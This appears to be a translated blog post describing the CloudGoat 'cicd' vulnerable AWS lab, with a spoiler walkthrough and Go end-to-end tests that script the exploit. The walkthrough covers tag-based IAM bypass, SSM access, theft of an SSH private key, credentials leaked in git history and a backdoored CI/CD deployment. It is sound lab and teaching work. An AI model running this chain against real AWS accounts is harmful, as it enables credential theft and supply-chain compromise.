构建易受攻击的AWS DevOps环境作为CloudGoat场景

本文详细介绍了如何构建一个故意设计为易受攻击的AWS DevOps环境作为CloudGoat场景,包括架构设计、漏洞利用步骤和持续测试方法,帮助安全研究人员理解云环境中的供应链安全风险。

构建易受攻击的AWS DevOps环境作为CloudGoat场景

我是可丢弃安全实验室的忠实粉丝,无论是用于攻击还是防御目的(参见:在Azure中自动化配置Active Directory实验室)。在撰写《云安全漏洞与破坏:2021年回顾》之后,我想构建一个"故意设计为易受攻击的AWS实验室",包含典型的攻击路径,包括静态、长期有效的凭证和供应链安全元素。

CloudGoat:易受攻击的AWS环境

CloudGoat是一个开源项目,包含一系列易受攻击的AWS环境,可以使用Python封装的Terraform在您自己的AWS账户中轻松创建。每个场景都有一个专用文件夹,包含其描述和解决方案。

示例CloudGoat场景

例如,您可以使用以下命令在AWS账户中启动cicd场景:

1
python cloudgoat.py create cicd

此命令将运行Terraform来启动基础设施,并显示开始使用的说明。通常,它会输出一组AWS凭证作为起点。

贡献新的CloudGoat场景

直接链接:https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/cicd

场景故事

FooCorp是一家提供公共API的公司。FooCorp的客户每分钟都会向以下API端点提交敏感数据:

1
2
3
4
5
POST {apiUrl}/prod/hello
Host: {apiHost}
Content-Type: text/html

superSecretData=...

该API实现为一个Lambda函数,通过API Gateway公开。由于FooCorp实施了DevOps,它有一个持续部署管道,可以在几分钟内自动将Lambda函数的新版本从源代码部署到生产环境。

您的任务(如果您选择接受):您将获得一个初始的低权限IAM用户的AWS凭证集。您的目标是窃取提交给FooCorp API的敏感数据。请注意,模拟用户活动正在账户中进行,模拟对FooCorp API的活动。这是通过每分钟运行的AWS CodeBuild项目实现的。

该场景包含:

  • 3个IAM用户
  • 1个VPC,其中包含一个位于私有子网中的EC2实例
  • 用于实现API的组件:
    • 1个API Gateway
    • 1个Lambda函数
    • 1个ECR仓库
  • 用于实现持续部署管道的组件:
    • 1个CodePipeline管道
    • 2个CodeBuild项目
    • 1个CodeCommit仓库

FooCorp基础设施架构图

漏洞利用步骤

本节包含剧透!只有当您卡住了,或者不打算挑战该场景时才应阅读。点击此处跳过本节继续阅读:使用端到端测试进行持续测试

当我们通过python3 cloudgoat.py create cicd实例化场景时,会获得一个初始的AWS IAM访问密钥:

1
2
3
4
5
6
7
[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.
cloudgoat_output_access_key_id = AKIA254BBSG...
cloudgoat_output_api_url = https://4ybsnrwee1.execute-api.us-east-1.amazonaws.com/prod
cloudgoat_output_aws_account_id = 012345678912
cloudgoat_output_secret_access_key = mjV9uB....

我们可以设置AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY环境变量,或使用aws-vault。我更喜欢后者,因为它可以方便地同时使用CLI和AWS控制台。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ aws-vault add cloudgoat-step1
Enter Access Key ID:
Enter Secret Access Key:
Added credentials to profile "cloudgoat-step1" in vault

# 使用CLI
$ aws-vault exec cloudgoat-step1 --no-session

# 打开AWS控制台
$ aws-vault login cloudgoat-step1 --no-session

我们以名为ec2-sandbox-manager的用户身份进行身份验证,该用户有一个IAM策略,允许我们管理标记为Environment=dev的EC2实例的标签,并对标记为Environment=sandbox的实例执行任何SSM操作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
  "Effect": "Allow",
  "Resource": "*",
  "Action": [
    "ec2:CreateTags",
    "ec2:DeleteTags"
  ],
  "Condition": {
    "StringLike": {
      "ec2:ResourceTag/Environment": ["dev"]
    }
  }
},
{
  "Effect": "Allow",
  "Resource": "*",
  "Action": ["ssm:*"],
  "Condition": {
    "StringLike": {
      "ssm:ResourceTag/Environment": ["sandbox"]
    }
  }
}

有一个EC2实例正在运行,标记为Environment=dev

我们的IAM策略不允许我们通过AWS SSM Session Manager访问该实例。但是,我们确实有权限覆盖用于访问控制的Environment标签:

然后我们可以访问EC2实例:

1
2
3
4
5
$ aws ssm start-session --region us-east-1 --target i-030c2cba2ef533829

Starting session with SessionId: ec2-sandbox-manager-06e2440aa9ed6f315
# id
uid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)

在用户的主目录下,我们找到一个SSH私钥:

1
2
3
4
5
$ cd
$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApn/Tcy
...

通过将其指纹与账户中其他IAM用户关联的SSH公钥进行比较,我们注意到被盗的私钥属于名为cloner的IAM用户:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$ ssh-keygen -f .ssh/stolen_key -l -E md5
2048 MD5:be:5e:49:5e:e5:d0:66:bb:91:30:3f:66:2e:97:1a:11

$ aws iam list-ssh-public-keys --user-name cloner
{
  "SSHPublicKeys": [
    {
      "UserName": "cloner",
      "SSHPublicKeyId": "APKA254BBSGPK2B5K5YQ",
      "Status": "Active",
      "UploadDate": "2021-12-27T10:34:19+00:00"
    }
  ]
}
$ aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id APKA254BBSGPK2B5K5YQ --encoding PEM --output text --query 'SSHPublicKey.Fingerprint' 
be:5e:49:5e:e5:d0:66:bb:91:30:3f:66

该用户恰好拥有对CodeCommit仓库的codecommit:GitPull权限。使用CodeCommit文档,我们可以将仓库克隆到本地机器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
chmod 700 .ssh/stolen_key
export AWS_REGION=us-east-1
sshKeyId=$(aws iam list-ssh-public-keys --user-name cloner --output text --query 'SSHPublicKeys[0].SSHPublicKeyId')

cat >> .ssh/config <<EOF
Host *.amazonaws.com
	IdentityFile ~/.ssh/stolen_key
EOF

git clone ssh://$sshKeyId@git-codecommit.$AWS_REGION.amazonaws.com/v1/repos/backend-api

现在我们有了应用程序的源代码!

源代码中没有什么有趣的内容。然而,如果我们查看Git提交历史,有一个提交引起了我们的注意:

1
2
3
4
5
39ac1aa (HEAD -> master, origin/master, origin/HEAD) Added app.py
88055fb Added requirements.txt
bdf59bb Added Dockerfile
f1cb341 Use built-in AWS authentication instead of hardcoded keys
70f0181 Added buildspec.yml

分析这个提交的差异(git show f1cb341)揭示了一些泄露的AWS凭证!

使用这些凭证验证AWS时,我们注意到我们刚刚攻陷了IAM用户developer的凭证,该用户拥有codecommit:GitPushcodecommit:PutFile权限。

我们现在可以使用CodeCommit UI来后门应用程序,并等待持续部署管道将其部署到生产环境!例如,我们可以让应用程序将秘密数据记录到其日志(CloudWatch日志组/aws/lambda/backend-api)中。我们也可以后门应用程序,让它在每个请求上将秘密数据发送到远程、攻击者控制的服务器——或者不修改应用程序代码,而是后门Docker镜像本身。

一旦我们执行了恶意提交,CodePipeline管道就会获取我们的更改并开始将其推出到生产环境:

几分钟后,我们成功地后门了应用程序并捕获了标志!

1
2
3
START RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643 Version: $LATEST
superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5"}
END RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643

使用端到端测试进行持续测试

如前所述,该场景基于Terraform代码,负责创建VPC、EC2实例、管道等。Terraform代码并不简单。我们如何高度自信地认为它持续按预期工作?回想一下,在我们的上下文中,“工作"意味着处于可以通过预期步骤利用的状态。

我们利用了Terratest,这是一个用于测试Terraform代码的Go库。更具体地说,我们编写了如下工作的Go测试:

  1. 使用Terratest运行我们的Terraform代码,针对实时AWS环境。资源实际部署到AWS。
  2. 从我们的Go测试中,向FooCorp API发送实际的HTTP请求,以确保它已正确部署。
  3. 仍然从我们的Go测试中,以编程方式执行漏洞利用步骤,一步一步来。
  4. 测试完成后,销毁我们通过Terraform代码配置的基础设施。

然后我们可以使用go test运行我们的测试,可以手动运行,也可以在每次拉取请求时自动运行。以下是"以代码形式存在的漏洞利用步骤"的样子:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
func (test *EndToEndTest) StealPrivateSSHKey(instanceId string) string {
  // 在实例上执行SSM命令以窃取SSH私钥
  ssmClient := ssm.NewFromConfig(test.awsConfig)
  result, err := ssmClient.SendCommand(context.TODO(), &ssm.SendCommandInput{
    DocumentName: aws.String("AWS-RunShellScript"),
    InstanceIds:  []string{instanceId},
    Parameters: map[string][]string{
      "commands": {"cat /home/ssm-user/.ssh/id_rsa"},
    },
  })
  test.assert.Nil(err, "Unable to send SSM command to instance")

   // 等待SSM命令的输出
  commandOutput, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.TODO(), &ssm.GetCommandInvocationInput{
    CommandId:  result.Command.CommandId,
    InstanceId: &instanceId,
  }, 2*time.Minute)
  test.assert.Nil(err, "failed to retrieve SSM command output")

  // 我们成功窃取了SSH私钥
  return *commandOutput.StandardOutputContent
}
1
2
3
--- PASS: TestScenario (248.47s)
PASS
ok  	github.com/cloudgoat/tests/supply-chain-security	249.070s

结论

我鼓励您尝试这个场景!更广泛地说,CloudGoat有一组有价值的实验室,包含许多现实世界的AWS漏洞。

您对这个场景有什么看法?您如何测试您的安全实验室?您希望在CloudGoat中看到什么?让我们在Twitter上继续讨论!

感谢RhinoSecurityLabs的Ryan Gerstenkorn提供的出色贡献体验!感谢您的阅读。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计